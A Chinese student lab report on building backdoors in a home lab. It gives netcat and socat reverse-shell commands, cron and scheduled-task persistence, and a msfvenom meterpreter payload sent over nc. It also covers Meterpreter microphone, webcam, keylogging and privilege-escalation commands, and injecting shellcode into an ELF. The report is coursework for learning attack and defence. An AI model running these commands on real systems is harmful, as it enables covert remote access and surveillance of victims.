1.实验目标
- 使用netcat获取主机操作Shell,cron启动某项任务(任务自定)PS:cron是linux下
用来周期性的执行某种任务或等待处理某些事件的一个守护进程 - 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
2.实验要求及问题
- 掌握后门原理及免杀技术
- 回答问题
- (1)例举你能想到的一个后门进入到你系统中的可能方式?
网上的开源安装包里被混入后门程序,发送钓鱼邮件,在其中混入带有后门程序的链接。 - (2)例举你知道的后门如何启动起来(win及linux)的方式?
将后门程序与一些会自行运行的程序绑定如广告弹窗,达成后门的启动。 - (3)Meterpreter有哪些给你映像深刻的功能?
获取主机的各种设备权限,远程操控各种设备。 - (4)如何发现自己有系统有没有被安装后门?
使用专门的杀毒软件进行查杀,查看计算机注册表是否有可疑操作出现。
3.实验过程
(1)使用netcat获取主机操作Shell
查看主机和虚拟机的ip地址(因为实验中更换了地点,所以IP地址发生了变化)
nc -L -p 2421
Kali开始监听2421端口
ncat.exe -e cmd.exe 192.168.10.132 2421
Widows开始连接Kali运行cmd.exe
使用cron添加命令,使得Linux反弹连接
在kali虚拟机执行指令crotab -e,在文件的末尾添加09 * * * * /bin/netcat 192.168.10.132 2421 -e /bin/sh(在每个小时的第9分钟反向连接Windows主机的2421端口)
可以在09分时看到Wiodows中获得了Linux的Shell
(2) 使用socat获取主机操作Shell
下载socat
打开计算机管理,在任务计划程序中创建任务,填写任务名称。
新建操作,程序或脚本选择socat.exe,添加参数填写tcp-listen:2421 exec:cmd.exe,pty,stderr,把cmd.exe绑定到端口2421,同时把cmd.exe的stderr重定向到stdout上
新建触发器,设定时间为现在时间后的几分钟。
socat - tcp:192.168.31.199:2421
在Kali中连接到主机2421端口
时间到达设定时间后socat.exe自启动,获取Shell成功
(3) 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在Kali中运行msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.157.133 LPORT=2421 -f exe > backdoor2421.exe
生成后门程序backdoor2421.exe
Wiodows nc.exe -l 2421 > backdoor2421.exe
可以看到版本信息与当前连接状态
Kali nc 192.168.31.199 2421 < backdoor2421.exe
发送后门程序到Windows。
Windows显示连接信息。
- Kali中
msfconsole
进入msf控制台
use exploit/multi/handle
r使用监听模块,设置payloadset payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payloadset LHOST 192.168.157.133
生成后门程序时指定的IPset LPORT 2421
生成后门程序时指定的端口show options
查看设置信息exploit
开始监听,在Windows中启动接收的后门程序,监听成功。(此处记得关闭杀毒软件,并记得添加后门文件为排除项)
可以直接输入命令或者使用shell
获取主机Shell
(4) 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
record_mic -d 5
指令可以截获一段时长5s的音频,录制完毕自动输出保存路径 -
webcam_snap
指令可以使用摄像头进行拍照,拍摄完毕自动输出保存路径,并自动打开图像 -
keyscan_start
指令可以记录下击键的过程 -
keyscan_dump
则用于读取击键记录 -
screenshot
指令可以进行截屏 -
getuid
指令可以查看当前用户 -
getsystem
指令进行提权操作
(5) 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
需要使用MSF将payload注入到实验一的pwn2421中,当运行该文件时,我们就可以获得主机的Shell。代码为:
msfvenom -p linux/x86/reverse_tcp LHOST=192.168.157.133 LPORT=2421 -x ./home/kali/Docutement/01/pwn2421 -f elf >pwn20192421——21
4.问题及解决方案
- 问题1:让Netcat侦听特定端口的命令是“nc -l PORT_NUMBER”。但在Windows 7以上机器上运行这个程序,你会得到一个可怕的消息“local listenfuxored: INVAL”。
- 问题1解决方案:是使用nc-L选项运行它。 L的意思是“listen harder, re-listen on socket close”,如果想验证Netcat确实在监听那个端口可以使用nmap从另一个终端连接到那个端口。
- 问题2:安装socat的位置有一定选择,不能装在C盘的system32里,否则会提示找不到相关链接库,无法安装
- 问题2解决方案:将该文件放入D盘后正常运行
- 问题3:初次运行PWN文件,提示权限不足
- 问题3解决方案:使用chmod a+x filename 进行授权
4.学习感悟、思考等
本次实验中由于不够熟练,实验进行时间跨度较大,在后续做实验中遇到不少问题。深刻感受到对于这方面的知识还需要多加熟悉,本次实验多次在CSDN以及同学那里寻求帮助,最后总算是勉强完成,以后还是要勤加复习。
参考资料
- 《Java程序设计与数据结构教程(第二版)》
- 《Java程序设计与数据结构教程(第二版)》学习指导
- 【《在LINUX下安装的程序,root运行提示权限不够》】(https://blog.csdn.net/zczzsq/article/details/8162339)